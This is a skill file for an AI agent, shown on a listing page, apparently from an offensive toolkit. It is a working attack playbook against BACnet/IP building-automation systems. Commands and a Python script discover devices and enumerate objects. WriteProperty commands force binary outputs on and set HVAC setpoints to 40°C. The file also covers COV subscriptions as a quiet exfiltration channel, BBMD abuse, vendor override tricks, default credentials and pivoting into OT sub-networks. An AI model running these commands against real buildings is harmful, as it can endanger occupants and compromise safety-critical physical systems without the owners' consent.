ics-bacnet

star 4.4k

BACnet/IP attack — UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot.

PurpleAILAB By PurpleAILAB schedule Updated 5/26/2026

name: ics-bacnet description: "BACnet/IP attack — UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot." allowed-tools: Bash Read Write metadata: when_to_use: "bacnet bacnet-ip building automation hvac who-is i-am readproperty writeproperty bbmd cov 47808 4660 vendor" subdomain: ics-ot tags: bacnet, building-automation, hvac, ics mitre_attack: T0855, T0836

BACnet/IP Attack — Building Automation

BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.

Discover

# Send Who-Is broadcast (BACnet's auto-discovery)
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24

# Or with bacnet-tools (apt: bacnet-stack)
bacwi                                  # who-is broadcast
bacrp 1234 8 1 85                      # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)

# bacpypes (Python)
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'

What you get from discovery

Each I-Am response identifies:

  • Device Instance number (PK for that device)
  • Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
  • Max APDU + Segmentation support

Look up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).

Read everything

# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),
# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)

# Read all objects on a device:
bacrpm 1234 8 1 76    # property 76 = object-list

# Each entry: (object-type, instance). Then for each:
bacrp 1234 0 1 85     # analog-input 1, present-value

Write attacks

Override an output (the actual physical effect)

# Force binary-output 5 ON with priority 8 (manual operator)
bacwp 1234 4 5 85 8 -1 0   # write True at priority 8

# AnalogOutput (e.g., setpoint) to 40°C
bacwp 1234 1 3 85 8 -1 40.0

Subscribe to COV — Change Of Value (passive observation w/ delivery to attacker)

bacscov 1234 0 1 60    # Subscribe to analog-input 1, 60-sec lifetime
# Server pushes updates as values change — passive tap on building telemetry

Broadcast Storm (BBMD abuse)

BBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:

# Send Who-Is with destination = BBMD's broadcast-distribution-table
# Each device replies with I-Am directly to attacker — fingerprints the whole estate

Vendor-specific overrides

  • Johnson Controls Metasys: device.system-status writable from network → restart device
  • Siemens Apogee: program-state writable → halt/run program objects
  • Honeywell Niagara: web UI on port 80/443 often unauth or default creds (tridium/tridium)

Pivot from BACnet to OT network

A compromised BACnet controller often has secondary network interfaces:

  • Trunk to RS-485 sensor net (BACnet MS/TP)
  • Modbus to a chiller / VFD
  • LonWorks for older lighting controls
  • KNX for European installations

Once you control the BACnet gateway, you can tunnel to those sub-protocols.

OPSEC + safety

  • Building safety: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.
  • COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.
  • Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.

References

  • "BACnet/IP Vulnerabilities" — Stephen Hilt, Trend Micro
  • bacpypes docs — github.com/JoelBender/bacpypes
  • DEFCON 28 ICS Village "Building Automation Attacks" — Marc Rogers
  • ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)
Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill ics-bacnet
Repository Details
star Stars 4,393
call_split Forks 875
navigation Branch main
article Path SKILL.md
More from Creator